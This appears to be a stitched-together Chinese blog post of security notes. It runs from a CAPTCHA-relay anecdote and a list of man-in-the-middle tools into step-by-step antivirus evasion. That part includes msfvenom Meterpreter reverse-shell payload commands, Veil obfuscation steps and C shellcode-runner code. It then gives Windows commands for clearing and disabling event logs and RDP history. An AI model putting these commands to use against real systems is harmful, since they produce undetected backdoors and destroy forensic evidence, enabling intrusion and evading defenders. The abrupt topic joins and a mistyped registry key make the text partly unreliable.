另一個典型的非加密中間人攻擊的例子是“圖靈色情農場”。布賴恩·華納說,這是垃圾郵件發送者用來繞過驗證碼的“可以想象的攻擊”。垃圾郵件發送者設置了一個色情網站,而訪問這個色情網站需要用戶解決一些驗證問題。這些驗證問題實際上是其他網站的驗證問題。這樣就可以達到繞開網站驗證發送垃圾郵件的目的。然而,Jeff Atwood指出,這次襲擊僅僅是理論上的——沒有任何證據指出垃圾郵件發送者曾經在2006年創建了圖靈色情農場。然而,2007年10月有新聞報道稱,垃圾郵件發送者確實創建了一個Windows游戲,當用戶鍵入從雅虎收到的注冊郵箱驗證碼后,程序將獎勵用戶色情圖片。這將允許垃圾郵件發送者創建臨時的免費電子郵件帳戶以發送垃圾郵件。
中間人攻擊實現工具dsniff - 一個實現SSH和SSL中間人攻擊的工具 Cain and Abel - Windows圖形界面的工具,它可以執行中間人攻擊,嗅探和ARP投毒 Ettercap - 一個基于局域網的中間人攻擊工具 Karma - 一個使用802.11 Evil Twin以執行MITM攻擊的工具 AirJack -一個演示802.11 MITM攻擊的工具 SSLStrip一個基于SSL的MITM攻擊的工具。 SSLSniff一個基于SSL的MITM攻擊的工具。原本是利用一個在Internet Explorer上缺陷實現的。 csploit -一個在android系統上實現的MITM攻擊工具包。 Mallory - 一個透明的TCP和UDP MiTMing代理。擴展到MITM SSL,SSH和許多其他協議。 wsniff - 一個802.11HTTP / HTTPS的基于MITM攻擊的工具 安裝在自動取款機銀行卡插槽上的附加讀卡器和安裝在鍵盤上的附加密碼記錄器。 zanti-一款在android系統上的多功能網絡滲透包。規避殺軟及檢測
msf編碼器
msfvenom -p windows/meterpreter/reverse_tcp -e x86/unicode_mixed -b ‘\x00’ LHOST=192.168.80.129 LPORT=2213 -f exe > met-encoded.exe嘗試增加次數,進行多次編碼
msfvenom -p windows/meterpreter/reverse_tcp -e x86/unicode_mixed -b ‘\x00’ -i 10 LHOST=192.168.80.129 LPORT=2213 -f exe > met-encoded.exe采用php文件
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.106 LPORT=2213 x > backdoor.phpjar文件
msfvenom -p java/shell_reverse_tcp LHOST=192.168.1.106 LPORT=2213 -f jar > backdoor.jar使用veil加殼工具
安裝veil
dpkg --add-architecture i386 apt-get update apt-get install wine32sudo apt-get install veil-evasion cd /usr/share/veil/config vim setup.sh veil use evasion use c/meterpreter/rev_tcp.py set LHOST 192.168.43.27 set LPORT 2209 generate使用C + shellcode編程
使用msfvenom得到shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.106 LPORT=2213 -f c編輯c文件shellcode.c
vim shellcode.c輸入上方生成的代碼以及
int main() { int (*func)() = (int(*)())buf; func(); }編譯成可執行文件
i686-w64-mingw32-g++ shellcode_c.c -o shellcode_c.exe通過組合應用各種技術實現惡意代碼免殺
使用python+aes_encrypt的方式
在veil/evasion中選擇使用python/shellcode_inject/aes_encrypt.py,輸入generate并選擇第二項,然后只需要設置IP地址和端口,生成成功后對其進行檢測,檢測率為0! 操作如下: 打開veil,選擇Evasion,輸入list選擇結束之后,依次輸入
use python/shellcode_inject/aes_encrypt.py generate 2(1)殺軟如何檢測出惡意代碼
一般通過三種方式:基于特征碼的檢測;啟發式惡意軟件檢測;基于行為的惡意軟件檢測。
1.檢測特征碼 殺毒軟件都有一套特征庫,依靠檢索程序代碼和庫中特征碼是否吻合判斷某段代碼是否屬于病毒。2.啟發式惡意軟件檢測 如果程序的特征和行為與病毒程序類似,其匹配程度達到一定值就可以認為該程序是病毒程序。3.基于行為檢測 單純依靠監測程序行為來作為標準。通過監視惡意代碼運行過程,如利用系統監視工具觀察惡意代碼運行過程時系統環境的變化,或通過跟蹤惡意代碼執行過程使用的系統函數和指令特征分析惡意代碼功能 靜態查殺(郵件類查殺一般是靜態的)-->一般根據特征碼識別到-->對文件進行特征匹配的思路 云查殺 行為查殺(也可以理解為動態查殺)-->對其產生的行為進行檢測 可構建行為庫進行動態查殺 可構建日志庫對日志庫進行動態查殺 統計學檢測-->構建特征學習模型-->進行動態查獲取就好了(2)免殺是做什么
給木馬或病毒程序增加偽裝使殺毒軟件對其不能做出識別或查殺
(3)免殺的基本方法
改變特征碼——加殼、采取編碼方式、用不同語言重寫再編譯;改變行為——使用不同的通訊連接技術、基于內存操作而不是系統;非常規方法——誘導目標關閉AV軟件、利用有漏洞的應用。
①捆綁-->文件捆綁,自解壓捆綁,如exe類型的 ②特征碼混淆思路-->即混淆特征碼進而繞過免殺 三種方式: 代碼混淆 api鉤子(函數混淆類)-->典型dll劫持類型-->即偽造一個dll文件,然后在調用dll文件的時候,先調用偽造的dll文件,在調用真實的dll文件,進而實現處理木馬的操作。 溢出類型漏洞特點類 ③白名單-->原理:殺毒軟件對自己旗下的軟件不檢測導致(4)開啟殺軟是否能絕對防止電腦中惡意代碼
不能絕對防止,很多攻擊方式,在殺毒軟件暫時落后于攻擊技術時,就漏洞百出,可以通過系統自帶的漏洞進行攻擊,利用0day漏洞進行惡意代碼攻擊殺毒軟件基本無法防御。
痕跡清理
Windows日志清除獲取日志分類列表 wevtutil e1 > test.txt wevtutil gli "windows powershell" #獲取單個日志類別的統計信息查看指定日志具體內容 wevtutil ge /file.text "windows powershell"刪除單個日志類所有信息 wevtutil cl "windows powershell" 破壞windows日志記錄功能 Invoke-Phant0m Windows-EventLog-Bupass #工具 msfrunclearlogs clearev 3389登錄記錄清除@echo off @reg delete "HKTY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f @del %USERPROFILE%\MY Documents\Default.rdp" /a @exit總結
- 上一篇: 网络安全工程师毕业答辩杂记
- 下一篇: 使用纯文本方式编写软件设计文档